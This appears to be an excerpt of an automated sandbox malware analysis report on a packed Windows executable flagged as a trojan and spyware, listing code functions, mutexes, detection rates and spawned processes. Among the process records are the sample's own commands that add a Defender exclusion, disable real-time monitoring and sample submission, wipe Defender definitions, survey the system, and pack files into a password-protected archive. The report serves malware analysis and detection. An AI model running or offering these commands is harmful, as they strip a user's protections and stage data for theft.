              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A259B9818_2_00007FF68A259B98
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A218C3018_2_00007FF68A218C30
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A245C8C18_2_00007FF68A245C8C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A230D2018_2_00007FF68A230D20
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A256D0C18_2_00007FF68A256D0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A229D0C18_2_00007FF68A229D0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20DD0418_2_00007FF68A20DD04
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22D97C18_2_00007FF68A22D97C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2049B818_2_00007FF68A2049B8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2469FD18_2_00007FF68A2469FD
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23FA6C18_2_00007FF68A23FA6C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A245A7018_2_00007FF68A245A70
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A26AAC018_2_00007FF68A26AAC0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20CB1418_2_00007FF68A20CB14
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A235F4C18_2_00007FF68A235F4C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A26AF9018_2_00007FF68A26AF90
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A244FE818_2_00007FF68A244FE8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A26DFD818_2_00007FF68A26DFD8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21303018_2_00007FF68A213030
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23C00C18_2_00007FF68A23C00C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23007418_2_00007FF68A230074
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22C05C18_2_00007FF68A22C05C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23804018_2_00007FF68A238040
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2600F018_2_00007FF68A2600F0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22010418_2_00007FF68A220104
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A249D7418_2_00007FF68A249D74
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A251DCC18_2_00007FF68A251DCC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20EE0818_2_00007FF68A20EE08
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A211E0418_2_00007FF68A211E04
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A218E6818_2_00007FF68A218E68
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25FE7418_2_00007FF68A25FE74
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24AE5018_2_00007FF68A24AE50
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24EEA418_2_00007FF68A24EEA4
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20CE8418_2_00007FF68A20CE84
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23AF0C18_2_00007FF68A23AF0C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A209EFC18_2_00007FF68A209EFC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23037418_2_00007FF68A230374
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21236018_2_00007FF68A212360
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22C3E018_2_00007FF68A22C3E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24546818_2_00007FF68A245468
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22D45818_2_00007FF68A22D458
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20A50418_2_00007FF68A20A504
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24216418_2_00007FF68A242164
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21118018_2_00007FF68A211180
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2481CC18_2_00007FF68A2481CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2641CC18_2_00007FF68A2641CC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21E21C18_2_00007FF68A21E21C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25226818_2_00007FF68A252268
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20F24C18_2_00007FF68A20F24C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22724418_2_00007FF68A227244
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2402A418_2_00007FF68A2402A4
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2042E018_2_00007FF68A2042E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21D2C018_2_00007FF68A21D2C0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25832C18_2_00007FF68A25832C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25131418_2_00007FF68A251314
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2267E018_2_00007FF68A2267E0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2117C818_2_00007FF68A2117C8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2518A818_2_00007FF68A2518A8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21289018_2_00007FF68A212890
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20888418_2_00007FF68A208884
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2338E818_2_00007FF68A2338E8
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23D91C18_2_00007FF68A23D91C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24190C18_2_00007FF68A24190C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23090418_2_00007FF68A230904
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22F5B018_2_00007FF68A22F5B0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21859818_2_00007FF68A218598
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23F59C18_2_00007FF68A23F59C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25260C18_2_00007FF68A25260C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2365FC18_2_00007FF68A2365FC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A25766018_2_00007FF68A257660
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2686D418_2_00007FF68A2686D4
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2186C418_2_00007FF68A2186C4
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A23A71018_2_00007FF68A23A710
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24071018_2_00007FF68A240710
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24270018_2_00007FF68A242700
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FFD94101E20 appears 33 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FF79D052710 appears 104 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FFDA3591325 appears 56 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FF79D052910 appears 34 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FFD940D9340 appears 126 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FFD940DA500 appears 145 times
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: String function: 00007FFDA360D341 appears 133 times
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: String function: 00007FF68A2449F4 appears 53 times
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: String function: 00007FF68A218444 appears 48 times
              Source: riFSkYVMKB.exeStatic PE information: invalid certificate
              Source: rar.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: riFSkYVMKB.exeBinary or memory string: OriginalFilename vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2108844334.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamefsavailux.exej% vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exeBinary or memory string: OriginalFilename vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamefsavailux.exej% vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2286591584.00007FFDA3693000.00000004.00000001.01000000.0000000E.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2283397865.00007FFD9409A000.00000004.00000001.01000000.0000000F.sdmpBinary or memory string: OriginalFilenamelibcryptoH vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2288202883.00007FFDA549C000.00000004.00000001.01000000.0000000D.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2286935259.00007FFDA36FA000.00000004.00000001.01000000.00000008.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2287669647.00007FFDA3C08000.00000004.00000001.01000000.00000009.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2286260013.00007FFDA3659000.00000004.00000001.01000000.00000010.sdmpBinary or memory string: OriginalFilenamelibsslH vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2287334798.00007FFDA3A93000.00000004.00000001.01000000.00000011.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2287524760.00007FFDA3AF8000.00000004.00000001.01000000.0000000C.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2288041808.00007FFDA4DAC000.00000004.00000001.01000000.00000012.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2287811147.00007FFDA417A000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2287178042.00007FFDA3766000.00000004.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2286761418.00007FFDA36C4000.00000004.00000001.01000000.0000000A.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2285890012.00007FFD948A5000.00000004.00000001.01000000.00000004.sdmpBinary or memory string: OriginalFilenamepython313.dll. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs riFSkYVMKB.exe
              Source: riFSkYVMKB.exeBinary or memory string: OriginalFilenamefsavailux.exej% vs riFSkYVMKB.exe
              Source: libcrypto-3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9991990186771459
              Source: libssl-3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9923211348684211
              Source: python313.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9994153529876473
              Source: sqlite3.dll.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9975483390549273
              Source: unicodedata.pyd.0.drStatic PE information: Section: UPX1 ZLIB complexity 0.9926987474437627
              Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@61/37@2/2
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21CAFC GetLastError,FormatMessageW,18_2_00007FF68A21CAFC
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A21EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,18_2_00007FF68A21EF50
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,18_2_00007FF68A24B57C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A223144 GetDiskFreeSpaceExW,18_2_00007FF68A223144
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8164:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2820:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeMutant created: \Sessions\1\BaseNamedObjects\U
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6804:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7592:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442Jump to behavior
              Source: riFSkYVMKB.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeFile read: C:\Users\desktop.ini
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
              Source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
              Source: riFSkYVMKB.exeVirustotal: Detection: 48%
              Source: riFSkYVMKB.exeReversingLabs: Detection: 42%
              Source: riFSkYVMKB.exeString found in binary or memory: id-cmc-addExtensions
              Source: riFSkYVMKB.exeString found in binary or memory: set-addPolicy
              Source: riFSkYVMKB.exeString found in binary or memory: can't send non-None value to a just-started coroutine
              Source: riFSkYVMKB.exeString found in binary or memory: fma($module, x, y, z, /) -- Fused multiply-add operation. Compute (x * y) + z with a single round.
              Source: riFSkYVMKB.exeString found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
              Source: riFSkYVMKB.exeString found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
              Source: riFSkYVMKB.exeString found in binary or memory: --help
              Source: riFSkYVMKB.exeString found in binary or memory: --help
              Source: riFSkYVMKB.exeString found in binary or memory: can't send non-None value to a just-started generator
              Source: riFSkYVMKB.exeString found in binary or memory: can't send non-None value to a just-started async generator
              Source: riFSkYVMKB.exeString found in binary or memory: /ADd$
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile read: C:\Users\user\Desktop\riFSkYVMKB.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\riFSkYVMKB.exe "C:\Users\user\Desktop\riFSkYVMKB.exe"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Users\user\Desktop\riFSkYVMKB.exe "C:\Users\user\Desktop\riFSkYVMKB.exe"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
